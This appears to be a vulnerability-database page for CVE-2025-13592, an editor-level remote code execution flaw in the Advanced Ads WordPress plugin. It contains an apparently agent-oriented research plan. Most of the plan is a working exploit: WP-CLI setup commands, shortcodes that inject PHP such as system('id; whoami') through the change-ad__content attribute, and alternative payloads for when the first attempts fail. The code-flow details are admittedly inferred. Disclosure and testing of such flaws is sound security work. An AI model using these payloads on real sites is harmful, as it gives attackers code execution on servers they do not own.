Advanced Ads <= 2.0.14 - Authenticated (Editor+) Remote Code Execution via Shortcode
Description
The Advanced Ads plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.0.14 via the 'change-ad__content' shortcode parameter. This allows authenticated attackers with editor-level permissions or above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.0.14Source Code
WordPress.org SVN# Research Plan: CVE-2025-13592 - Authenticated RCE via Shortcode in Advanced Ads ## 1. Vulnerability Summary The **Advanced Ads** plugin (versions <= 2.0.14) is vulnerable to **Remote Code Execution (RCE)**. The vulnerability exists in the way the plugin processes shortcode attributes, specificall…
Show full research plan
Research Plan: CVE-2025-13592 - Authenticated RCE via Shortcode in Advanced Ads
1. Vulnerability Summary
The Advanced Ads plugin (versions <= 2.0.14) is vulnerable to Remote Code Execution (RCE). The vulnerability exists in the way the plugin processes shortcode attributes, specifically the change-ad__content parameter. This parameter allows an attacker with Editor permissions or higher to override the content of an ad dynamically. If the plugin is configured to allow PHP execution in ads (or if the "Plain Text/Code" ad type is used), this override can be used to inject and execute arbitrary PHP code during the shortcode rendering process.
2. Attack Vector Analysis
- Authentication Level: Authenticated (Editor or above). Editors can create and publish posts/pages containing shortcodes.
- Entry Point: The
[the_ad]shortcode (or similar ad-related shortcodes like[the_ad_group]). - Vulnerable Parameter:
change-ad__contentattribute within the shortcode. - Sink: The rendering logic that processes the ad's content, which likely involves
eval()or a similar execution mechanism intended for "Plain Text/Code" ad types. - Preconditions: An ad must exist in the system (so the shortcode has a valid ID to reference), and the plugin's shortcode handler must process the
change-prefix for attribute overrides.
3. Code Flow (Inferred)
- Shortcode Registration: The plugin registers
[the_ad]viaadd_shortcode( 'the_ad', ... )inpublic/class-ad-display.phpor a similar frontend-facing class. - Attribute Processing: The handler (e.g.,
Advanced_Ads_Ad_Display::render_ad) parses attributes. It likely iterates through attributes and looks for the prefixchange-ad__. - Property Override: For an attribute like
change-ad__content="payload", the plugin identifies the target property ascontentand overwrites the loaded Ad object's$ad->contentproperty with the user-supplied string. - Execution Sink: The plugin calls a method to display the ad (e.g.,
$ad->display()). If the Ad is treated as "Plain Text/Code", the content is passed through a rendering engine that executes PHP (often for dynamic ad logic), leading to RCE.
4. Nonce Acquisition Strategy
This exploit is Authenticated RCE via content injection.
- Authentication: The agent must log in as an Editor.
- Nonce Requirements: Standard WordPress nonces for post creation/publishing are required. Since the agent has access to
wp-cli, it can bypass the need for manual nonce extraction by creating the malicious post directly via the command line. - Browser-based Triggering: After the post is created via WP-CLI, the agent will use the
http_requesttool to navigate to the post's URL, triggering the shortcode execution.
5. Exploitation Strategy
Step 1: Authentication & Setup
- Create an Editor user using WP-CLI.
- Create a "dummy" Ad using WP-CLI to get a valid ID.
- Create a WordPress Page/Post containing the malicious shortcode.
Step 2: Payload Construction
The payload will use the change-ad__content attribute to inject PHP.
- Shortcode:
[the_ad id="AD_ID" change-ad__content='<?php system("id"); ?>'] - Note: If the plugin expects raw PHP without tags, the payload would be
system("id");. Both should be tested.
Step 3: Triggering RCE
- The agent will perform a
GETrequest to the URL of the post created in Step 1. - The response body will be inspected for the output of the
idcommand (e.g.,uid=... gid=...).
6. Test Data Setup
The following commands should be executed in the environment:
# 1. Create an Editor user
wp user create attacker attacker@example.com --role=editor --user_pass=password123
# 2. Create a dummy Ad (Advanced Ads uses 'advanced_ads' post type)
# We set the type to 'plain' which is most likely to trigger the sink
AD_ID=$(wp post create --post_type=advanced_ads --post_title="Base Ad" --post_status=publish --porcelain)
# 3. Create a Page containing the exploit shortcode
# Note: We use the change-ad__content attribute to inject the payload
POST_ID=$(wp post create --post_type=page --post_title="Exploit Page" --post_status=publish \
--post_content='[the_ad id="'$AD_ID'" change-ad__content="<?php system(\"id; whoami\"); ?>"]' --porcelain)
# 4. Get the URL of the exploit page
POST_URL=$(wp post list --post_type=page --p=$POST_ID --field=url)
7. Expected Results
- The
http_requesttoPOST_URLshould return a200 OKstatus. - The response body should contain the output of the shell command
id; whoami. - Example output:
uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data
8. Verification Steps
- Direct Execution Check: Check the response body for the command output.
- Filesystem Check (Optional): Update the payload to create a file:
[the_ad id="AD_ID" change-ad__content='<?php file_put_contents("rce.txt", "vulnerable"); ?>'] - Confirm via CLI: Run
ls /var/www/html/rce.txtto confirm the file exists.
9. Alternative Approaches
If the <?php ... ?> tags are stripped or the system function is disabled:
- Alternative Payload: Try
[the_ad id="AD_ID" change-ad__content='${system("id")}']if the plugin uses a templating engine like Twig or custom regex replacement. - Type Override: Try overriding the ad type as well to ensure the PHP sink is active:
[the_ad id="AD_ID" change-ad__type="plain" change-ad__content="<?php phpinfo(); ?>"](The attribute name for type might bechange-ad__typeor similar). - Shortcode variations: If
the_adfails, try[the_ad_group]or[the_ad_placement]using the samechange-ad__contentattribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.